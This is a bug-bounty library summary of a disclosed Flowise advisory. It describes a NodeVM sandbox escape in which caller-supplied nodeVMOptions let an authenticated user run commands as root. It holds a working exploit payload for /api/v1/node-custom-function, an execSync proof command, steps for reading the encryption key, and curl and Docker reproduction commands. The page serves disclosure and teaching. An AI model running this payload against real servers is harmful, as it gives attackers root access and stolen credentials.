# Flowise: RCE via NodeVM Sandbox Escape in executeJavaScriptCode() nodeVMOptions Override

Flowise executeJavaScriptCode() merges caller-supplied nodeVMOptions over secure defaults, letting any authenticated user re-enable child_process and run commands as root.

- Payout: Research
- Severity: critical
- Program: Flowise
- Found by: akshat-sj
- Disclosed: 2026-08-04
- CVE: CVE-2026-69254
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-3769-jgqc-cxm7
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-3769-jgqc-cxm7
- Tags: area:ai domain:ai domain:web impact:rce kind:research platform:ghsa sev:critical tech:docker tech:nodejs technique:chained technique:source-review vuln:access-control vuln:rce vuln:sandbox-escape

**Target:** NodeVM sandbox in flowise-components executeJavaScriptCode(), exposed via /api/v1/node-custom-function
**Root cause:** finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions } lets caller-supplied options override require.builtin allowlist, eval and wasm restrictions. The sandbox also permits requiring flowise-components utils.js by absolute path, exposing executeJavaScriptCode() itself for a nested, unrestricted VM.
**Steps:**
1. Start Flowise 3.1.1 container on port 3000 and confirm via `GET /api/v1/version`.
2. Register an account via `POST /api/v1/account/register` and create an API key for a Bearer token.
3. Send `POST /api/v1/node-custom-function` with body `{"javascriptFunction": "const utils = require('/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/src/utils.js'); ... return await utils.executeJavaScriptCode(code, {}, { nodeVMOptions: { require: { builtin: ["*"] } } })"}`.
4. Inside the nested VM, `require("child_process")` succeeds; run `cp.execSync("id > /tmp/RCE-PROOF.txt")`.
5. Verify root-owned proof file and read `/root/.flowise/encryption.key`.
**How found:** Code review of the option-merge in executeJavaScriptCode() spotted the spread operator letting caller options override the builtin allowlist; traced the taint from the node-custom-function route through the controller and service into the sandbox, then used absolute-path require of utils.js to reach the vulnerable function from inside the sandbox.
**Exploitation:** Any authenticated user with an API key posts a javascriptFunction to /api/v1/node-custom-function. The custom function runs in the restricted NodeVM, but requires flowise-components utils.js by absolute path to reach executeJavaScriptCode(), then invokes it with nodeVMOptions.require.builtin=["*"] to spawn a nested unrestricted VM. child_process then executes commands as root, enabling file read of encryption/JWT secrets and persistence.
**Escalation:** Root RCE yields the encryption key decrypting all stored credentials and the JWT signing secret for forging tokens for any user; persistence via cron or reverse shell.
**Insight:** When a sandbox factory accepts caller options merged with spread, look for any path that lets sandboxed code require the host module by absolute path — that re-exposes the factory itself, so a nested VM with attacker options escapes the outer allowlist.

## Proof of concept (copied exactly from the original report)

**curl request executing the exploit**

```
curl -X POST http://localhost:3000/api/v1/node-custom-function \
    -H "Content-Type: application/json" \                                                                                                                                                                                                    
    -H "Authorization: Bearer <TOKEN>" \
    -d @exploit.json
```

**Docker startup and version check**

```
docker run -d --name flowise-poc -p 3000:3000 \
    -e PORT=3000 -e DISABLE_FLOWISE_TELEMETRY=true \                                                                                                                                                                                         
    flowiseai/flowise:latest                                                                                                                                                                                                                 
                                                                                                                                                                                                                                             
  # Wait ~30s for startup                                                                                                                                                                                                                    
  curl http://localhost:3000/api/v1/version
  # {"version":"3.1.1"}
```

